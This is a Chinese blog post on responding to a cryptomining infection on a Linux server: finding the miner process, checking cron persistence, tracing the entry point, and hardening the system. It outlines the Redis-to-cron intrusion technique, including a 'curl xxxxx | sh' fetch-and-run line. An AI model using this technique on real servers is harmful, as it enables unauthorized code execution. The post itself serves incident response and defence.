服务器被挖矿了后应当如何做

本文涉及的产品
云原生内存数据库 Tair,内存型 2GB
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Redis 版,经济版 1GB 1个月
简介: 服务器被挖矿了后应当如何做

先说最优解: 服务器若是被挖矿了,建议备份数据且重装系统。


所谓的挖矿是什么,这里暂不做解释了,有需要者可以自行百度或者必应,本篇文章主要讲述被攻击后应当如何做。



如何发现问题


首先,挖矿程序是非常耗费cpu的,若你发现近期某台服务器,cpu使用率接近于100%, 而正常情况下,机器cpu是没有用到这么多的,这个时候可能要注意了,可以使用如下命令,查询进程信息按照cpu排序。


命令:

ps aux  | head -n 1 ; ps aux | sort -k 3 -rn | head

我们拆分一下命令来看是如何分析的

ps aux | head -n 1是打印ps aux的标题栏。


image.png


ps aux | sort -k 3 -rn | head是查询ps aux将按照第三列(sort -k 3 -rn)进行降序排序, 而最后的head是提取前10个结果。


可以寻找哪些不知名的进程,且占用率很高的,找到其进程后,可以使用PID定位到程序位置,如果在/tmp下等,一般是这类程序没跑了,那么如何分析程序位置呢? 由于没有环境,所以我们这边拿mysqld举例。


例如我们查询到某个进程,觉得有问题,我们想查询下该进程的路径

image.png


我们先拿到pid值,当然这个命令,已经跟了绝对路径哈,假设没有绝对路径,我们可以使用lsof -p PID值查询,例如:

image.png

我们找到fdtxt,查看其值,就是程序的路径。



删除还是禁止启动


我们在拿到启动文件后,我们大概有2种做法,其一是删除文件,其二是禁止该文件启动,也就是取消该文件的执行权限,而二者有什么区别,分别在什么时候使用呢? 我们来逐一分析下。


一般而言,像这类挖矿病毒程序,一般是周期性质的,其启动项不是定义在cron中的,就是执行的命令,那么我们应该如何查找呢?


若是使用cron我们可以查看下/var/spool/cron/目录中的文件,若是有异常任务,我们可以将其停止掉,而后再杀掉挖矿进程,删除其源文件。

image.png

若是使用的命令,我们应当如何查看呢,我们可以使用ps axjf命令进行查看系统下所有的进程,若是进程以whilefor等循环开头的,内部嵌套了curl等的命令,那多半是启动命令,也是将其停掉,而后杀掉挖矿进程,然后删除源文件即可。


ps ajxf是以树状结构来显示进程信息的。


若是上述二者都没有找到,我们可以先将文件可执行权限给拿掉,而后将文件锁起来,这个可以参考chattr命令。




追根溯源


在上面的分析过程中,其实就可以开始追根溯源了,第一个点是看挖矿进程启动的用户,若是root,那就要请运维同学三思了,是不是启动某些服务是使用root启动的。


如果我们发现挖矿进程,是以每个用户来启动的,例如: redisphp用户,这反倒好办了,我们直接可以引发定位问题进程了,若是以root来启动的,相对麻烦些,要靠猜才行了,我们可以猜是redis引起的,而后逐步去推理这个问题,如果一路推下去毫无阻拦,那就是这个问题,若是有阻拦,那我们得换个角度继续猜,很多现实中的问题,就是考猜+反复验证解决的。


我们举个例子


我们发现系统被挖矿了,而启动该进程的用户是root,我们由此怀疑是通过redis进来的,我们可以思考如下几个点,

  • redis端口是否对外
  • redis是否是弱口令

如果确定了如上2项,我们来看下一般是怎么通过redis进行攻击的呢? 一般情况下是暴力破解连上redis后,使用flushall清空命令,而后使用dir将其目录设置到cron文件处即: /var/spool/cron,再次修改filename的值为用户名称,再次flushall后,将命令(curl xxxxx | sh)写入redis使用save将其存储到磁盘中,至此,攻击结束。


我们可以顺着这个思路,进行递推,比如,查询redis日志等。




如何防止

我们介绍了如上情况,那么我们如何防止类似的情况发生呢? 这里给大家列举了几条措施


权限最小化

例如,启动redis就没必要使用root权限,而是应该新建一个redis用户,专门用以启动redis服务器,这样就算被攻击了,还不至于破坏那么大,且被攻击后,很容易查询是哪个进程引起的。


合理利用防火墙

3306637927017等熟知的服务器端口,尽量给固定ip开放,而非0.0.0.0,这里提及一下密码复杂度,尽量设置的相对于复杂点。


关闭不必要的插件

这个主要是php服务,例如可以远程执行命令的插件等。

对php不是很熟悉,但是它是被攻击的重灾区。




总结


我们这篇文章,可以大概分析一些小问题了,其实最重要的是还是防止被攻击,这个取决于运维做事的态度,若是为了怕麻烦,而滥用权限,会导致严重的后果,最重要的,最重要的,被攻击后,尽量将数据备份出来,然后重装系统,这个才是上上之策,我们发现问题,我们也要吸取教训。





相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
3月前
|
存储 安全 网络安全
怎么看服务器是中毒了还是被攻击?以及后续处理方案
怎么看服务器是中毒了还是被攻击?以及后续处理方案
|
安全 NoSQL JavaScript
糟糕!我的服务器CPU被黑客挖矿了
糟糕!我的服务器CPU被黑客挖矿了
250 0
|
10月前
|
云安全 安全 Linux
网站服务器怎么做防御?遇到攻击如何解决?
如今黑客攻击越来越多也十分猖獗,我们应如何防护呢?
83 0
|
10月前
|
存储 安全 区块链
IPFS|Filecoin矿机|质押挖矿模式系统开发源码
IPFS|Filecoin矿机|质押挖矿模式系统开发源码
|
12月前
|
云安全 安全 开发工具
一觉醒来,小R的服务器被暴力破解,被植入挖矿程序?
一觉醒来,小R的服务器被暴力破解,被植入挖矿程序?
129 0
|
开发框架 前端开发 JavaScript
合约挖矿/RNB质押挖矿模式系统模块及功能开发搭建
合约挖矿/RNB质押挖矿模式系统模块及功能开发搭建
代币燃烧挖矿系统运行规则 | 代币燃烧挖矿系统开发源码示例
在代币燃烧挖矿系统中,用户需要将一定数量的代币质押锁定在合约中,然后合约按照一定比例将对应数量的代币作为计算结果输出。这个过程实际上就是在消耗代币,从而实现对矿工的激励。
想要破解流量难题?首先你需要
想要破解流量难题?首先你需要
157 0
想要破解流量难题?首先你需要
|
区块链
详细分析:多链质押挖矿系统开发合约部署方案详细教程
详细分析:多链质押挖矿系统开发合约部署方案详细教程
详细分析:多链质押挖矿系统开发合约部署方案详细教程
|
存储 Java Python
PIL链质押挖矿系统项目开发逻辑(源码搭建)质押挖矿开发技术介绍
PIL链质押挖矿系统项目开发逻辑(源码搭建)质押挖矿开发技术介绍